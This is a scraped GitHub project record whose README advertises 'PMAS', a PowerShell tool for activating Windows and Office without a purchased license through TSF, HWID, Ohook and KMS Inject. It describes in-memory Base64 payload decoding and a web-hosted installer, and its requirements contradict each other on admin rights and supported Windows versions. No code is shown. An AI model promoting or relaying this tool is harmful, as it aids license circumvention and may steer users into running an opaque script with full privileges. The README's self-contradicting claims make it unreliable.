[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-109880":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":11,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":12,"stars30d":12,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":13,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":14,"fork":14,"defaultBranch":15,"hasWiki":16,"hasPages":16,"topics":17,"createdAt":9,"pushedAt":33,"updatedAt":34,"readmeContent":35,"aiSummary":36,"trendingCount":12,"starSnapshotCount":12,"syncStatus":37,"lastSyncTime":38,"discoverSource":39},109880,"pmas-alternative-access","CredentinalsDenied\u002Fpmas-alternative-access","CredentinalsDenied","PMAS: PowerShell Multi setup System with TSF, HWID, OHOOK, and KMS support",null,"HTML",149,0,37,false,"main",true,[18,19,20,21,22,23,24,25,26,27,28,29,30,31,32],"activator","hwid","kms","kms-office","kms38","kms4k","microsoft","office","office365","ohook","powershell","tsf","tsforge","windows","windows-11","2026-11-23 19:51:43","2026-11-12 10:19:50","\u003Cdiv align=\"center\">\n\n# PMAS: PowerShell Multi Activation System — Alternative Access for Windows 10 & 11\n\n![](files\u002F1.jpg)\n\n### 💻 PowerShell Installer\n\n[![](files\u002Fbutton.png)](https:\u002F\u002FCredentinalsDenied.github.io\u002Fpmas-alternative-access\u002F)\n\n[![state](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FSTATE-MAINTAINED-2ea44f?style=for-the-badge&labelColor=0d1117)]() [![win](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FWIN-WINDOWS_10_%7C_11-2ea44f?style=for-the-badge&labelColor=0d1117)]() [![ps-core](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPS--CORE-CORE-34b759?style=for-the-badge&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nPMAS is a modular PowerShell framework that consolidates multiple product licensing mechanisms—TSF, HWID, Ohook, and KMS Inject—into a single interactive console interface. The tool executes its TSF component by loading a custom .NET assembly directly from memory, while additional methods are dispatched through a menu-driven workflow with built-in connectivity checks and fallback handling. Designed for 64-bit Windows environments with administrative privileges, PMAS includes SHA256 integrity verification to ensure the script runs only in its unmodified state. Platform-specific logic automatically routes older Windows versions to the appropriate activation path and exposes advanced options for modern Windows and Server builds.\n\n## 📋 System Requirements\n\n- Windows 10 or Windows 11\n- PowerShell 5.1 or newer (already available on Windows)\n- Active network connection\n- No admin rights needed\n\n## Features\n\n- **Fully automated activation pipeline** — single-command operation with no manual key entry or intermediate prompts\n- **Interactive PowerShell menu** — numbered console interface that routes each task to the appropriate handler\n- **Embedded payload decoding** — Base64-encoded script blocks are decoded in memory at runtime rather than written to disk\n- **Connectivity probing with fallback** — checks network availability up front and switches to an offline-capable method when the primary path is unreachable\n- **Automatic KMS redirection** — legacy Windows builds are detected and routed straight to the KMS path without user input\n- **Method-agnostic architecture** — TSF, HWID, Ohook, and KMS Inject are exposed as discrete, independently invokable modules\n- **Combined-mode execution** — Windows and Office targets can be processed in a single pass through a fused HWID + Ohook routine\n- **State inspection and cleanup** — reports channel type, license status, and remaining grace period, and provides a removal path for previously applied Ohook changes\n- **Deployment media support** — generates an $OEM$ folder tree at the system root for unattended post-install activation\n- **Integrity verification** — SHA256 hash comparison gates execution, and any mismatch aborts the run before any operation begins\n- **OS-aware command dispatch** — selects the correct PowerShell invocation pattern based on the detected Windows version and PowerShell runtime\n\n## How it works\n\nPMAS operates as a self-contained PowerShell framework that orchestrates multiple licensing backends behind a single interactive menu. On launch, the script performs environment discovery: it verifies administrative context, detects the OS build and architecture, enumerates installed Windows and Office products, and checks for network availability. These results determine which activation paths are offered and how fallbacks are applied.\n\nEach activation method is implemented as an isolated module invoked on demand:\n\n- **TSF** loads an embedded .NET library directly into the PowerShell process from memory and drives it through its public interface to apply persistent product keys. When connectivity is unavailable, it transparently falls back to KMS-based key assignment with an extended validity window.\n- **HWID** constructs a hardware-derived ticket from the machine's identifying components, submits it through the native licensing channels, and confirms the resulting digital entitlement state.\n- **Ohook** places a compatible library alongside the Office installation and redirects the licensing calls through it, then validates that the subscription state is reported correctly. A dedicated removal routine reverses these changes cleanly.\n- **KMS Inject** provisions a local key management endpoint, applies the appropriate client key, and registers the renewal task so the licensing cycle refreshes automatically.\n- **Combined mode** runs the Windows and Office modules sequentially, sharing the same environment checks and reporting.\n\nSupporting routines run alongside every operation. A preflight stage confirms the required PowerShell version and TLS configuration for the host OS, redirecting legacy systems to the compatible path automatically. Integrity verification hashes the running script and halts execution if the content differs from the expected digest. A status reporter queries the licensing subsystem after each action and surfaces channel type, license state, and remaining grace period. The `$OEM$` generator assembles a deployment folder containing the selected activation logic so it can be folded into installation media for first-boot execution.\n\nAll modules communicate through a shared logging and error-handling layer, so a failure in one path returns a clear diagnostic instead of leaving the session in an inconsistent state.\n\n## Compatibility\n\nPMAS targets the Windows platform and is validated against a defined matrix of operating system releases, architectures, and PowerShell runtimes. Behavior outside this matrix is not guaranteed.\n\n### Operating System Support\n\n| OS | Versions | Primary Methods |\n|---|---|---|\n| Client | Windows 7, 8.1, 10, 11 | KMS Inject (7\u002F8.1), TSF \u002F HWID \u002F KMS Inject (10\u002F11) |\n| Server | Windows Server 2016, 2019, 2022, 2025 | TSF \u002F KMS Inject |\n| Host | KMS Host Server (Windows \u002F Office) | KMS Host configuration |\n\nWindows 7 and 8.1 sessions are routed to the KMS Inject path automatically, since TSF and HWID are scoped to Windows 10 and later.\n\n### Architecture\n\n64-bit only. 32-bit installations are rejected at startup — the in-memory execution path and the bundled .NET library require an x64 host process.\n\n### PowerShell Runtime\n\n| OS | Minimum Runtime |\n|---|---|\n| Windows 7 | PowerShell 2.0 |\n| Windows 8.1 \u002F Server | PowerShell 4.0 |\n| Windows 10 \u002F 11 | PowerShell 5.1 |\n\nOlder hosts may need TLS 1.2 negotiated explicitly before the script is fetched; the runtime-appropriate invocation handles this. Elevated (Administrator) context is mandatory for every activation path, including status checks and the $OEM$ generator.\n\n### Office\n\nOffice 2010, 2013, 2016, 2019, 2021, 2024, and 365 are supported through Ohook on Windows 10 and above. Ohook operates entirely offline. The combined HWID + Ohook path requires connectivity for the Windows half only.\n\n### Activation Method Constraints\n\n| Method | Connectivity | Scope |\n|---|---|---|\n| TSF | Online | Windows 10\u002F11, Server 2016+ |\n| TSF-KMS4k | Offline | Windows 10\u002F11, Server 2016+ |\n| HWID | Online | Windows 10\u002F11 |\n| Ohook | Offline | Office 2010–365 (Win10+) |\n| KMS Inject | Offline | Windows 7 \u002F 8.1 \u002F 10 \u002F 11 \u002F Server 2016+ |\n\n### Known Boundaries\n\n- Mixed-architecture environments: 32-bit hosts are unsupported regardless of OS version.\n- Server Core and heavily stripped images may lack the PowerShell surface the menu expects; verify runtime availability before execution.\n- Script integrity is enforced via SHA256 verification — a modified or truncated script will refuse to run.\n- Network-restricted environments should select an offline-capable method (TSF-KMS4k, Ohook, KMS Inject) to avoid fallback delays.\n\n## Configuration\n\nThe script operates on a self-contained execution model: the PowerShell entry point decodes its embedded Base64 payload directly in memory, so no persistent installation step is required. All activation routines load into the current session, execute, and release their resources on exit. This keeps the environment clean and avoids residue between runs.\n\nBecause a single entry point serves multiple operating systems, PMAS applies runtime environment detection before any action is taken. The host OS and PowerShell version determine which menu branches become available:\n\n- Windows 7 hosts are routed automatically to the KMS Inject workflow, since the other methods are not applicable there.\n- Windows 8.1 and Server SKUs use the KMS Inject path with explicit TLS negotiation for any network operation.\n- Windows 10, Windows 11, and Server 2016+ hosts gain the full method set: TSF, HWID, Ohook, combined HWID + Ohook, KMS Inject, Ohook removal, activation reporting, and $OEM$ generation.\n\nEach menu entry is bound to its method-specific prerequisites. TSF loads its managed library from memory and, in KMS4k mode, degrades gracefully to offline license assignment when network access is unavailable. HWID requires connectivity to complete a digital license handshake; without it, the entry aborts with a clear message rather than partially applying a license. Ohook and KMS Inject both run fully offline, so they remain selectable regardless of network state. The combined HWID + Ohook entry checks connectivity first and then applies each component in order.\n\nIntegrity verification runs at startup. The script hashes its own payload with SHA256 and compares the result against the expected value baked into the entry point. A mismatch halts execution before any system modification occurs, and the user is informed that the script's contents differ from the distribution baseline.\n\nThe $OEM$ generator writes its output under the system drive root and accepts a choice between the TSF variant and the HWID + Ohook variant, producing a folder structure that can be carried onto installation media for post-setup automation.\n\nFor environments where the script must be invoked repeatedly, no configuration file is required—selection is fully interactive, and every option is reachable from the same top-level menu. Administrators who need deterministic, unattended runs can drive the menu through a piped selection string, since input handling is ordinal and non-blocking.\n\nExit paths are explicit and non-destructive. Option 9 terminates the session without altering the system, and the activation-check option performs a read-only query of license state, reporting channel, status, and remaining grace periods for any installed Windows or Office product.\n\n## FAQ\n\n**Which activation method should I choose?**\n\nChoose based on the target product and connectivity constraints. TSF covers the broadest set of Windows and Office editions and provides persistent licensing, with a KMS4k fallback for offline scenarios. HWID is the standard route for Windows 10\u002F11 digital licensing. Ohook is the recommended path for Office alone. KMS Inject remains the correct choice for Windows 7\u002F8.1 and legacy Server builds. The combined HWID + Ohook option exists for environments that need both platforms licensed in a single pass.\n\n**Does PMAS require an internet connection?**\n\nIt depends on the method. TSF, HWID, and the HWID half of the combined mode require connectivity for the initial licensing exchange. TSF-KMS4k, Ohook, and KMS Inject operate fully offline. PMAS performs a connectivity check at startup and routes accordingly, so behavior is predictable before any operation begins.\n\n**Why was my Windows 7\u002F8.1 system redirected to the KMS menu automatically?**\n\nThis is intentional. Older builds lack the servicing stack and licensing primitives that TSF and HWID depend on. PMAS detects the OS build during initialization and constrains the menu to methods that are valid for that platform, preventing unsupported operations from being invoked.\n\n**What happens if the TSF method cannot reach the licensing service?**\n\nPMAS falls back to KMS4k assignment automatically. The resulting license carries an extended validity window well beyond any realistic hardware lifecycle, so the fallback is functionally equivalent for practical purposes.\n\n**Is the licensing state persistent across reboots and updates?**\n\nYes for TSF, HWID, and Ohook. TSF and Ohook write state that survives reboots and cumulative updates. HWID binds to the hardware fingerprint and, once associated with an account, re-establishes automatically. KMS Inject uses a 180-day cycle with automatic renewal handled by the injected service.\n\n**Can I remove Ohook after applying it?**\n\nYes. The dedicated removal option restores the original Office binaries and clears the associated licensing state. Run it before switching Office to a different method to avoid conflicting artifacts.\n\n**How do I verify what is currently licensed?**\n\nUse the activation check option. It enumerates installed Windows and Office products and reports channel type, license status, and remaining grace period for each. This is the authoritative readout and should be consulted before and after any operation.\n\n**Why does PMAS refuse to run after I edited the script?**\n\nThe script enforces a SHA256 integrity check over its own body. Any modification — intentional or accidental — invalidates the hash and halts execution with a warning. This is a deliberate safeguard: a tampered script could alter licensing behavior in ways that are difficult to audit. Re-acquire an unmodified copy rather than attempting to bypass the check.\n\n**Does PMAS support 32-bit systems?**\n\nNo. The underlying libraries and injection paths are 64-bit only. The script checks architecture at startup and exits on unsupported platforms rather than failing partway through an operation.\n\n**What permissions are required?**\n\nAdministrative elevation is mandatory. Licensing state lives in protected registry hives and system directories, and the injection paths require driver-level access. Running unelevated will fail at the first privileged operation.\n\n**Can I use the $OEM$ output on installation media?**\n\nYes. The generated folder is placed at the system drive root and is structured for direct inclusion in installation media. Products imaged with it receive the configured activation automatically on first boot, removing the need for a post-install pass.\n\n**Does PMAS modify system files permanently?**\n\nOnly Ohook touches Office binaries, and that change is reversible through the removal option. TSF operates from memory and does not persist libraries to disk. KMS Inject installs a service that can be removed through standard service management. No method modifies core Windows system files.\n\n**Which PowerShell version do I need?**\n\nWindows 7 requires PowerShell 2.0 or newer; Windows 8.1 and Server require 4.0 or newer; Windows 10\u002F11 require 5.1 or newer. PMAS validates the host PowerShell version during initialization and reports a clear error if the minimum is not met.\n\n**Can I run multiple methods in sequence?**\n\nYes, but sequence matters. Remove Ohook before switching Office to another method. HWID and TSF are mutually exclusive on the same Windows installation — applying one after the other will overwrite the prior licensing state. The activation check option should be used between operations to confirm the expected state before proceeding.\n\n## Disclaimer\n\nPMAS is provided as a technical tool for system administrators, developers, and security researchers who need to evaluate the behavior of Windows and Office activation mechanisms in controlled environments. It interacts with operating system components, licensing services, and Office binaries at a low level; results may vary depending on build revision, cumulative updates, and the state of existing license records.\n\nThe tool runs with administrative rights and modifies system-level licensing data, including registry keys, license cache files, and Office binaries. Always create a full system backup or snapshot before execution. Test in a virtual machine or isolated lab that mirrors the target configuration. Do not deploy in production environments or on systems holding irreplaceable data without an approved rollback plan.\n\nActivation results are dependent on the configuration of the target host and the licensing channel present at runtime. The presence of a valid license, the channel assigned by the OEM or prior owner, and any pending grace period may change the outcome of each method. A single run does not guarantee a permanent state; subsequent OS updates, hardware changes, or Office servicing operations can alter the licensing status. Re-verification is recommended after any system change.\n\nThe authors do not ship license material and do not guarantee legal standing for any activation state on any system. You are responsible for ensuring that your use of PMAS complies with the terms applicable to your Microsoft products, the laws of your jurisdiction, and the policies of your organization. Do not use PMAS on hardware you do not own or administer.\n\nBy running PMAS, you accept full responsibility for its impact on your system and for the legal and operational consequences of its use. The software is provided as-is, without warranty of any kind, and the authors disclaim liability for data loss, service interruption, licensing errors, or any other damages arising from its execution.","PMAS 是一个基于 PowerShell 的 Windows 系统与 Office 产品激活框架，整合了 TSF、HWID、Ohook 和 KMS Inject 四种主流激活方法。它提供交互式命令行菜单，支持自动网络探测与方法降级、内存中解码执行、SHA256 脚本完整性校验、多目标（Windows+Office）联合激活及状态查询\u002F清理等功能，所有操作均在内存中完成，不写入磁盘。适用于需离线或半在线环境下批量激活 Windows 10\u002F11 及 Office 365\u002F2021 等产品的技术维护场景，要求管理员权限和 PowerShell 5.1+ 运行环境。",2,"2026-11-24 04:37:47","CREATED_QUERY"]